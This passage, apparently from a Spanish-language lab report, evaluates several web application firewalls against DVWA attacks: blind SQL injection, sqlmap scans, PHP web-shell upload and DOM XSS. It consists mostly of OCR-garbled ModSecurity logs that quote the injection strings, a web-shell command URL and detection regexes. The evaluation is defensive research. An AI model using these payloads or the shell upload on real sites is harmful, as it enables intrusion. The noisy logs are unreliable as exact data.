waf.com.ec"] [uri "/dvwal/vulnerabilities/sqli_blind/"] [unique_id
"XfAxIg1lV47hQy5i6MRgm7wAAAEC'], referer: http://proxy-
waf.com.ec/dvwa/vulnerabilities/sqli_blind/

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

1 2019/12/11 22:14:43 [error] 3665%0: *396 [client 192.168.1.110] ModSecurity: Access denied with code 403 (phase
2). [file " /opt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-942-APPLICATION-
ATTACK-SQLIL.conf"] [line "45"] [id "942100"] [rev ""] [msg ""] [data ""] [severity "0"] [ver "OWASP_CRS/3.2.0"]
[maturity "0"] [accuracy "07] [tag "application-multi"] [tag "language-multi*] tag "platform-multi"] [tag "attack-
sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag
"WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PC1/6.5.2"] [hostname
“192.168.1.110"] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id "157612048347.140009"] [ref *"], client:
192.168.1.110, server: proxy-waf.com.ec, request: "GET /dvwa/vulnerabilities/sqli_blind/?id=1+or+0%3D0-&
Submit=Submit HTTP/1.1", host: "proxy-waf.com.ec”, referrer: "http://proxy-waf.com.ec/dvwa/vulnerabilities
/sqli_blind/"

2019/12/11 22:14:43 [error] 3665#0: *396 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-

942-APPLICATION-ATTACK-SQLI.conf"] [line "45"] [id "942100"] [rev "] [msg "™
[data "] [severity "0"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag
"application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"]



[tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI1/6.5.2"]
[hostname "192.168.1.110"] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id
"157612048347.140009"] [ref ™], client: 192.168.1.110, server: proxy-
waf.com.ec, request: "GET /dvwa/vulnerabilities/sqli_blind/?id=1+0r+0%3DO0--
&Submit=Submit HTTP/1.1", host: "proxy-waf.com.ec", referrer: "http://proxy-
waf.com.ec/dvwal/vulnerabilities/sqli_blind/"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo

siguiente:

2019}12/1:1 i!;ﬂ?:i& Ter‘r‘or] 1154%0: [client lBZ.lﬁé.l.llB] ModSecurity: Access denied with code 403 (phase 2). detected SQLi using libinjection with fingerprint "1&1c
[file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "70"] [id "942108"] [msg "SQL Injection Attack Detected via 1i
binjection”] [data "Matched Data: 1&Ic found within ARGS:id: 1 or @=@--"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.8"] [tag "application-multi”] [tag "language-multi"]
[tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP CRS"] [tag "OWASP_CRS/WEB ATTACK/SQL INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP TOP
_109/A1"] [tag "OWASP_AppSensor/CIF1"] [tag "PCI/6.5.2"] [hostname ""] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id "AcAcAcAczcQmAchcAcAcAsAc"]

2619/12/11 23:47:24 [error] 1154#0: [client 192.168.1.116] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabilit
ies/sqli_blind/"] [unique_id "AcAcAcAczcQmAcbcAcAcAsAc"]

2019/12/11 23:47:24 [error] 1154#0: [client 192.168.1.110] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname ""] [uri "/dwwa/vulnerabil
ities/sgli_blind/"] [unique_id "AcAcAcAczcQmAcbcAcAcAsAc”]

2019/12/11 23:47:24 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). detected SQLi using libinjection with fingerprint
"1&1c'[file  "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-942-
APPLICATION-ATTACK-SQLI.conf"] [line "70"] [id "942100"] [msg "SQL Injection
Attack Detected via libinjection"] [data "Matched Data: 1&1c found within
ARGS:id: 1 or 0=0--"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag
"application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"]
[tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]
[hostname " [uri "/dvwal/vulnerabilities/sqli_blind/"] [unique_id
"AcAcAcAczcQmAcCbcACACASAC

Ataque 6.2: Inyeccion SQL Blind
» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Se puede observar que el ataque automatizado por la herramienta Sglmap es
bloqueado y que el aplicativo web ya no es inyectable o vulnerable.



:09] [WARNING] GET pa s not seem to be
:09] [CRITICAL] all tested ram do not appear to be

[*] shutting down at 16:08:09

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Sat Dec 87 16:08:41,868476 2019] [serror] [pid 1761] [client 192.168.1.10:51620] [cLient 192.168.1.10] ModSecurity: Access denied with code 483 (phase 2). Matched phra
se "sqlmap"” at REQUEST HEADERS:User-Agent. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity crs_35 bad_robots.conf"] [line "28"] [id "990662"] [rev "2"] [msg

"Request Indicates a Security Scanner Scanned the Site"] [data "sqlmap/1.1.12#stable (http://sqlmap.org)”] [severity "CRITICAL"] [ver "OWASP (RS/2.2.9"] [maturity "9"]
[accuracy "9"] [tag "OHASP CRS/AUTOMATION/SECURTTY SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP TOP 18/A7"] [tag “PC1/6.5.18"] [hostname “proxy-waf.com.ec’] [uri "/dwi
afvulnerabilities/sqli blind/"] [unique id "XewU2fkHZhQs@itrzqfSiwAAAAT"]

[Sat Dec 07 16:08:41.868476 2019] [:error] [pid 1701] [client 192.168.1.10:51640]
[client 192.168.1.10] ModSecurity: Access denied with code 403 (phase 2).
Matched phrase "sglmap" at REQUEST HEADERS:User-Agent. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs 35 bad_robots.conf"
] [line "20"] [id "990002"] [rev "2"] [msg "Request Indicates a Security Scanner
Scanned the Site"] [data "sqlmap/1.1.12#stable (http://sglmap.org)"] [severity
"CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag

"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag
"WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname
"proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id

"XewU2fkHZhQsO0itrzqfSiwAAAAI"]
» WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Se puede observar que el ataque automatizado por la herramienta Sglmap es
bloqueado y que el aplicativo web ya no es inyectable o vulnerable.
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[00:04:33] [WARNING] GET parameter

Try to incr

[*] shutting down at 00:04:33

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Wed Dec 11 @@:@4:34.098983 2019] [:error] [pid 739:tid 34385523200] [client 192.168.1.10:44366] [client 192.168.1.10] ModSecurity: Access denied with code 403 (phase 2
). Operator GE matched 18 at TX:inbound_anomaly_score. [file "macro ‘policy_5dd4ce7cbl149611d76cd31a_score’ (defined on line 328 of “/home/vlt-sys/Engine/conf/192.168.1
.48-80.conf") used on line 710 of “/home/v1t-sys/Engine/conf/192.168.1.48-88.conf""] [line “14"] [id "91"] [msg "Inbound anomaly score 62 exceeded threshold 18"] [hostn

ame "proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id "XfAykqlV4ThQy5i6MRgoTghAAFo" |

[Wed Dec 11 9@:04:34.099329 2019] [:error] [pid 739:tid 34385523260] [client 192.168.1.10:44366] [client 192.168.1.10] ModSecurity: Warning. Operator GE matched 18 at T

X:inbound_anomaly score. [file "/home/v1t-sys/Engine/conf/modsec/5dd6ed5bbl14960270@4b5a5. rules”] [line "73"] [id "98013@"] [msg "Inbound Anomaly Score Exceeded (Total

Inbound Score: 62 - SQLI=26,XSS=,RFI=,LFI=,RCE=,PHPI=, HTTP=,SESS=): ] [tag “event-correlation”] [hostname “proxy-waf.com.ec] [uri “/dvwa/vulnerabilities/sqli blind/"]
[unique_id “"XfAykqlVA7hQy5i6MRgolgAAAED" ]

[Wed Dec 11 00:04:34.099556 2019] [:error] [pid 739:tid 34385523260] [client 192.168.1.10:44366] [client 192.168.1.10] ModSecurity: Warning. Operator GE matched 18 at T

X:inbound_anomaly score. [file "/home/v1t-sys/Engine/conf/modsec/5ddfed5hbl1496027664b5a5. rules”] [Line "73"] [id "986138"] [msg "Inbound Anomaly Score Exceeded (Total

Inbound Score: 62 - SQLI=26,XSS=,RFI=,LFI=, RCE=,PHPI=, KTTP=,SESS=): "] [tag "event-correlation”] [hostname "proxy-waf.com.ec”] [uri "/dwwa/vulnerabilities/sqli blind/"]
[unique id “XfAykqlVA7hQy5i6MRgoIgAAAED" ]

[Wed Dec 11 @@:@4:34.099841 2619] [:error] [pid 739:tid 34385523266] [client 192.168.1.10:44366] [client 192.168.1.10] ModSecurity: msc_perform redis_guery: Error while
executing command: ERR value is not an integer or out of range [hostname “proxy-waf.com.ec”] [uri “/dvwa/vulnerabilities/sgli blind/"] [unigue_id "XFAykglV47hQy5i6MRgo

TgAMEo" ]

[Wed Dec 11 @@:04:34.099933 2019] [:error] [pid 739:tid 34385523260] [client 192.168.1.10:44366] [client 192.168.1.10] ModSecurity: msc_perform_redis_query: Error while
executing command: ERR value is not an integer or out of range [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id "XFAykglV47hQy5i6MRgo

TghAAF0"]

[Wed Dec 11 @@:04:34.100126 2019] [:error] [pid 739:tid 34385523206] [client 192.168.1.10:44366] [client 192.168.1.10] ModSecurity: msc_perform redis_guery: Error while
executing command: ERR value is not an integer or out of range [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id "XFAykqlVA7hQy5i6MRgo

TgARAEo" ]

[Wed Dec 11 00:04:34.098983 2019] [:error] [pid 739:tid 34385523200] [client
192.168.1.10:44366] [client 192.168.1.10] ModSecurity: Access denied with code
403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score. [file
"macro 'policy_5dd4ce7cb1149611d76cd31a_score' (defined on line 328 of
"lhome/vlt-sys/Engine/conf/192.168.1.40-80.conf") used on line 710 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
“Inbound anomaly score 62 exceeded threshold 18"] [hostname "proxy-
waf.com.ec"] [uri "/dvwal/vulnerabilities/sqli_blind/"] [unique_id
"XfAYkq1V47hQy5i6MRgoIgAAAEQ"]

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.
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Se puede observar que el ataque automatizado por la herramienta Sglmap es
bloqueado y que el aplicativo web ya no es inyectable o vulnerable.
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own at 22:19:23

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

1 2019/12/11 22:19:34 [error] 366720: *714 [client 192.168.1.10] ModSecurity: Access denied with code 403 (phase
2). Matched "Operator ' PmFromFile' with parameter " scanners-user-agents.data’ against variable
"REQUEST_HEADERS:User-Agent' (Value: " sqlmap/1.1.12#stable (http://sqimap.org)’ ) [file "/opt/waf/nginx
Jetc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id
"813100"] [rev ""] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: sqlmap
found within REQUEST_HEADERS:User-Agent: sqimap/1.1.12#stable (http://sqlmap.org)”] [severity "2"] [ver
"OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-muiti"] [tag "language-multi”] [tag
“platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag
"PC1/6.5.10"] [hostname "192.168.1.10"] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id
"157612077480.383512"] [ref "00,6v240,40t:lowercase"], client: 192.168.1.10, server: proxy-waf.com.ec, request:
"GET /dvwa/vulnerabilities/sqli_blind/?id=1&
Submit=Submit3620UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL2%2CNULLSS2CNULL%2CNULL%G2. ..
HTTP/1.1", host: "proxy-waf.com.ec”

2019/12/11 22:19:34 [error] 3667#0: *714 [client 192.168.1.10] ModSecurity:
Access denied with code 403 (phase 2). Matched "Operator "PmFromFile' with
parameter ‘scanners-user-agents.data’ against variable



"REQUEST_HEADERS:User-Agent' (Value: “sgimap/1.1.12#stable
(http://sglmap.org)’ ) [file "lopt/waf/nginx/etc/modsec_rules/proxy-
waf.com.ec/enabled_rules/REQUEST-913-SCANNER-DETECTION.conf"] [line
"33"] [id "913100"] [rev "] [msg "Found User-Agent associated with security
scanner"] [data "Matched Data: sqglmap found within
REQUEST_HEADERS:User-Agent: sqlmap/1.1.12#stable (http://sgimap.org)"]
[severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag
"application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-
reputation-scanner”] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag
"WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname
"192.168.1.10"] [uri "/dvwa/vulnerabilities/sqli_blind/"] [unique_id
"157612077480.383512"] [ref "00,6v240,40t:lowercase"], client: 192.168.1.10,
server: proxy-waf.com.ec, request: "GET
/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit%20UNION%20ALL%20S
ELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNU
LL%2CNULL%2CNULL%2CNULL--%20mwhl ~ HTTP/1.1",  host:  "proxy-
waf.com.ec”

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Se puede observar que el ataque automatizado por la herramienta Sglmap es
bloqueado y que el aplicativo web ya no es inyectable o vulnerable.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2019/12/11 23:52:26 [error] 115446: [client 192.168.1.18] ModSecurity: Access denied with code 403 (phase 2). detected SQLi using libinjection with fingerprint 'nUEvc'

[file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "70"] [id “94210@"] [msg "SQL Injection Attack Detected via 1i
binjection"] [data "Matched Data: nUEvc found within ARGS:Submit: Submit UNTON ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 1JLx"] [severity "CRITICAL
"] [ver "OWASP CRS/3.2.8"] [tag "application-multi”] [tag “"language-multi”] [tag “platform-multi”] [tag "attack-sgqli”] [tag "paranoia-level/1"] [tag "OWASP CRS"] [tag "
OWASP_CRS/WEB_ATTACK/SQL_INIECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname ""] [uri "/dvwa/vulnerabili

ties/sgli_blind/"] [unigue id "XIAcAcAcCcAclzAcAcAMACAC™]

2019/12/11 23:52:20 [error] 1154#6: [client 192.168.1.18] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname “"] [uri “/dvwa/vulnerabiliti

es/sqli_blind/"] [unique_id "XTAcAcAcCcAclzAcAcAAAcAC"]

2019/12/11 23:52:20 [error] 1154%#0: [client 192.168.1.18] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname "“] [uri "/dvwa/vulnerabili

ties/sqli_blind/"] [unique_id "XTAcAcAcCcAclzAcAcAAAcAc"]

2019/12/11 23:52:20 [error] 1154#0: [client 192.168.1.10] ModSecurity: Access
denied with code 403 (phase 2). detected SQLi using libinjection with fingerprint



'nUEvc'[file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-942-
APPLICATION-ATTACK-SQLI.conf"] [line "70"] [id "942100"] [msg "SQL Injection
Attack Detected via libinjection"] [data "Matched Data: nUEvc found within
ARGS:Submit: Submit UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- iJLX"] [severity
"CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-
multi*] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag
"OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag
"WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag
"OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname  ™] [uri
"/dvwa/vulnerabilities/sqli_blind/"] [unique_id "XIACACAcCcAclzAcAcAAACAC"]

Ataque 7: File Upload

» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: No detecta
ni tampoco bloquea.

« c ‘@‘ O & proxy-waf.com.ec/dvwa/hackable/uploads/shell1.php?cmd=pwd
i} Mas visitades @ Comenzar a usar Firefox %8¢ UOC (Universitat Ober... B Inicio de sesién en el c... @ MNueva pestana

Jvar/www/dvwa'hackable'uploads

Observando los logs del atague en la consola del terminal, no se observa ningun
log.
» WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Si detecta
pero no bloquea.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:
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[Wed Dec 11 00:18:32.326095 2019] [:error] [pid 739:tid 34385515520] [client
192.168.1.110:18270] [client 192.168.1.110] ModSecurity: Warning. Pattern
match " A\\.(?:php\\Wd*|phtm)\\.*$" at FILES:uploaded. [file "/home/vit-
sys/Engine/conf/modsec/5dd6e95bb11496027004b584.rules"] [line "109"] [id
"933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data
"Matched Data: shelll.php found within FILES:uploaded: shelll.php"] [severity



"CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag
"application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-
injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag

"OWASP_TOP_10/A1"] [hostname "proxy-waf.com.ec"] [uri
"/dvwa/vulnerabilities/upload/"] [unique_id
"XfA12K1V47hQy5i6MRgoOAAAAEQ"], referer: http://proxy-

waf.com.ec/dvwa/vulnerabilities/upload/
> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2019/12/11 22:24:42 [error] 366520: *717 [client 192.168.1.110] ModSecurity: Access denied with code 403 (phase
2). Matched "Operator " Rx' with parameter *."\.(7:php\d"|phtml)\."$’ against variable " FILES:shelll.php’ (Value:
“shelll.php') [file "/opt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-933-
APPLICATION-ATTACK-PHP.conf™] [line "89"] [id "933110"] [rev ""] [msg "PHP Injection Attack: PHP Script File
Upload Found"] [data "Matched Data: shelll.php found within FILES:shelll.php: shelll.php”] [severity "2"] [ver
"OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi”] [tag "language-php"] [tag "platform-
multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK
/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "192.168.1.110"] [uri "/dvwa/vulnerabilities/upload/")
[unique_id "157612108262.498028"] [ref "00,10v839,10t:lowercase"], client: 192.168.1.110, server: proxy-
waf.com.ec, request: "POST /dvwa/vulnerabilities/upload/ HTTP/1.1", host: "proxy-waf.com.ec”, referrer:

"http://proxy-waf.com.ec/dvwa/vulnerabilities/upload/"

2019/12/11 22:24:42 [error] 3665#0: *717 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). Matched "Operator "Rx' with parameter
“A\.(?2:php\d*|phtml)\.*$" against variable "FILES:shelll.php' (Value: "shelll.php")
[file "lopt/waf/nginx/etc/modsec_rules/proxy-
waf.com.ec/enabled_rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"]
[line "89"] [id "933110"] [rev "] [msg "PHP Injection Attack: PHP Script File Upload
Found"] [data "Matched Data: shelll.php found within FILES:shelll.php:
shelll.php"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"]
[tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-
injection-php”] [tag  "paranoia-level/l"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"]
[hostname "192.168.1.110"] [uri "/dvwalvulnerabilities/upload/'] [unique_id
"157612108262.498028"] [ref "00,10v839,10t:lowercase"], client: 192.168.1.110,
server: proxy-waf.com.ec, request: "POST /dvwa/vulnerabilities/upload/
HTTP/1.1", host: "proxy-waf.com.ec", referrer: "http://proxy-
waf.com.ec/dvwa/vulnerabilities/upload/"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:
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2019/12/11 23:54:59 [error] 1154#0: [client 192.168.1.118] ModSecurity: Access denied with code 483 (phase 2). Pattern match ".*\\.(2:php\\d*|phtml)\\.*$" at FILES:uplo
aded. [file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [1line "189"] [id "933118"] [msg "PHP Injection Attack: PHP Scri
pt File Upload Found"] [data "Matched Data: shelll.php found within FILES:uploaded: shelll.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi”]
[tag "language-php"] [tag "platform-multi”] [tag "attack-injection-php"] [tag "parancia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OMW
ASP_TOP_10/A1"] [hostname "] [uri "/dvwa/vulnerabilities/upload/"] [unigue_id "AuAcAcAcAcAcaclcAchghAccz”]

2019/12/11 23:54:59 [error] 115440: [client 192.168.1.116] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabilit
ies/upload/"] [unique_id "AuAcAcAcAcAceclcAchghccz”]

2019/12/11 23:54:59 [error] 115440: [client 192.168.1.116] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname "] [uri "/dvwa/vulnerabil
ities/upload/"] [unique_id "AuAcAcAcAcAceclcAchghccz"]

2019/12/11 23:54:59 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). Pattern match ".*\\.(?:php\\d*|phtml)\\.*$" at
FILES:uploaded. [file "lusr/local/nginx/conf/owasp-modsecurity-
crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id
"933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data
"Matched Data: shelll.php found within FILES:uploaded: shelll.php"] [severity
"CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-
php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag
"OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag
"OWASP_TOP_10/A1"] [hostname "] [uri "/dvwal/vulnerabilities/upload/"]
[unique_id "AuAcAcAcAcAcecLcAchgAccz']

Atague 8: XSS DOM
» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:
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[Mon Dec @9 21:15:11.878386 2019] [:error] [pid 1732] [client 192.168.1.110:9803] [client 192.168.1.118] ModSecurity: Access
denied with code 483 (phase 2). Pattern match "\\\\W{4,}" at ARGS:default. [file "/etc/httpd/modsecurity.d/activated rules/mo
dsecurity crs 48 generic_attacks.conf"] [line "37"] [id "960624"] [rev "2"] [msg "Meta-Character Anomaly Detection Alert - Re
petative Non-Word Characters”] [data "Matched Data: \\x22);</ found within ARGS:default: <script type=\\x22text/javascript\\x
22>alert(\\x22X55 DOM\\x22);</script>”] [ver "OWASP CRS/2.2.9"] [maturity "9"] [accuracy "8"] [hostname “proxy-waf.com.ec”] [
uri "/dvwa/vulnerabilities/xss d/"] [unigue id "Xe7-rwdsilyq-cVOFKDySwAARAL" ]

[Mon Dec 09 21:15:11.070386 2019] [:error] |[pid 1732] |[client
192.168.1.110:9003] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Pattern match "\WW{4,}" at ARGS:default. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_40_generic_attacks.
conf’] [line "37"] [id "960024"] [rev "2"] [msg "Meta-Character Anomaly Detection
Alert - Repetative Non-Word Characters"] [data "Matched Data: \\x22);</ found
within  ARGS:default: <script type=\\x22text/javascript\\x22>alert(\\x22XSS
DOM\\x22);</script>"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"]
[hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/xss_d/"] [unique_id
"Xe7-rw4siWyqg-cVOfKDy5SwAAAAU"

> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.



Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:
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[Wed Dec 11 8@:31:20.669725 2019] [:error] [pid 739:tid 34385515520] [client 192.168.1.118:18349] [client 192.168.1.110] ModSecurity: Access denied with code 483 (phase
2). Operator GE matched 18 at TX:inbound anomaly score. [file "macro 'policy 5dddce7cb1149611d76cd31a score’ (defined on line 328 of "/home/v1t-sys/Engine/conf/192.168
.1.48-88.conf") used on line 718 of "/home/v1t-sys/Enginefconf/192.168.1.40-8@.conf""] [1line "14"] [id "91"] [msg "Inbound anomaly score 111 exceeded threshold 18"] [ho
stname “proxy-waf.com.ec”] [uri “/dvwa/vulnerabilities/xss _d/"] [unique_id "XfA42K1V47hQy5i6MRgoQAAAAEQ”]

[Wed Dec 11 6@:31:20.676341 2019] [:error] [pid 739:tid 34385515520] [client 192.168.1.116:18349] [client 192.168.1.110] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly_score. [file "/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496827684b5a5. rules"] [line "73"] [id "986138"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 111 - SQLI=18,XS$=16,RFI=,LFI=,RCE=,PHPI=,HTTP=,SESS=): "] [tag "event-correlation”] [hostname “proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/xss_d/"]
[unique_id "XFA42K1VAThQy5i6MRgOQAAAAEQ" ]

[Wed Dec 11 0@:31:20.670514 2019] [:error] [pid 739:tid 34385515520] [client 192.168.1.1109:18349] [client 192.168.1.11@] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly_score. [file */home/v1t-sys/Engine/conf/modsec/5dd6e95bb11496627604b5a5. rules”] [1ine *73"] [id "986130"] [msg “Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 111 - SQLT=18,XSS=16,RFI=,LFI=,RCE=,PHPT=,HTTP=,SESS=): "] [tag “"event-correlation”] [hostname “proxy-waf.com.ec”] [uri “/dvwa/vulnerabilities/xss_d/"]
[unique_id "XFA42K1VA7hQy5i6MRgoQAARAEQ" ]

[Wed Dec 11 00:31:20.669725 2019] [:error] [pid 739:tid 34385515520] [client
192.168.1.110:18349] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score.
[file "macro 'policy 5dd4ce7cb1149611d76cd31a_score' (defined on line 328 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf) used on line 710 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
“Inbound anomaly score 111 exceeded threshold 18" [hostname "proxy-
waf.com.ec"] [uri "/dvwa/vulnerabilities/xss_d/"] [unique_id
"XfA42K1VA7hQy5i6MRgoQAAAAEQ"]

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

